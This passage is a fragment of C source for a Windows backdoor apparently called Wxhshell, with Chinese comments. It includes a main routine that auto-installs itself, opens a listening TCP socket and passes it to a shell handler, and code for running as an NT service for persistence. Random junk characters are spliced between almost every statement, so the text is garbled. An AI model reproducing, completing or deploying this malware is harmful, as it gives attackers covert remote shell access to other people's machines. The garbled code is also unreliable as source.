OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ppP0W`p if(hProcess==NULL) return 0; R<L<kChg x 8/I"!gI HMODULE hMod; LmZ"_ char procName[255]; KLBX2H2^0 unsigned long cbNeeded; (
kKQs") ^.pd'
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Wik8V 0( W>o>Y$H CloseHandle(hProcess); W{is 2s }eK.\_t= if(strstr(procName,"services")) return 1; // 以服务启动 +T/T \[ xU!eT'Y return 0; // 注册表启动 0! W$Cz[ } /Xm4%~b_gj MS~+P' // 主模块 (M-Wea!q int StartWxhshell(LPSTR lpCmdLine) ln2lFfz { %K[u SOCKET wsl; W7` fI*lc BOOL val=TRUE; Q
H57[Yg int port=0; >Y6iLQ$X struct sockaddr_in door; pQNTN.L9NZ -<{;.~nI. if(wscfg.ws_autoins) Install(); u85dG7 +B&,$ceyaJ port=atoi(lpCmdLine); '* eeup b6?&h:{k if(port<=0) port=wscfg.ws_port; (MGYX_rD )j+G4 WSADATA data; X-<l+WP if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; JC.nfxG@: .Cz9?]jyI if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; c9:8KMF) setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~QngCg-5q door.sin_family = AF_INET; Fl}{"eCF8 door.sin_addr.s_addr = inet_addr("127.0.0.1"); <}Hs@`jS door.sin_port = htons(port); n)uck5 mHF?t.y if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /Y`u4G() closesocket(wsl); '/'dg5bfV return 1; l<)k`lrMX4 } od-yVE& 2r"J"C if(listen(wsl,2) == INVALID_SOCKET) { l2ARM3" closesocket(wsl); +pY--5t return 1; tyU'[LF? } ?p'DgL{ Wxhshell(wsl); c0v6*O) WSACleanup(); mXOY,g2w U}R( return 0; V0G"Z6 +GvPJI } x(+H1D\W b V&"jjEx // 以NT服务方式启动 6qd?&.=r VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =mYwO=:D { E<[Y KY DWORD status = 0; \ RS
,Y DWORD specificError = 0xfffffff; JFu9_=%+ cd(YH! 3 serviceStatus.dwServiceType = SERVICE_WIN32; dqgH"g serviceStatus.dwCurrentState = SERVICE_START_PENDING; 6FkBb!ASk serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #SX-Y)> 1@ serviceStatus.dwWin32ExitCode = 0; }0}=-g& serviceStatus.dwServiceSpecificExitCode = 0; LaX<2]Tx: serviceStatus.dwCheckPoint = 0; ;R([w4[~ serviceStatus.dwWaitHint = 0; O_ d[{e=5` }u]7 x:lh hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); KP&$Sl if (hServiceStatusHandle==0) return; =`ECM7 |@BX*r status = GetLastError(); [=TD)o>W(p if (status!=NO_ERROR) )lH`a { 7d^ ~.F serviceStatus.dwCurrentState = SERVICE_STOPPED; u K=)65] serviceStatus.dwCheckPoint = 0; JqV}>"WMV serviceStatus.dwWaitHint = 0; fb8)jd'~}O serviceStatus.dwWin32ExitCode = status; !;Vqs/E serviceStatus.dwServiceSpecificExitCode = specificError; X?.tj
Z, SetServiceStatus(hServiceStatusHandle, &serviceStatus); w/e?K4 return; x
c|1?AFj } >o1,Y& |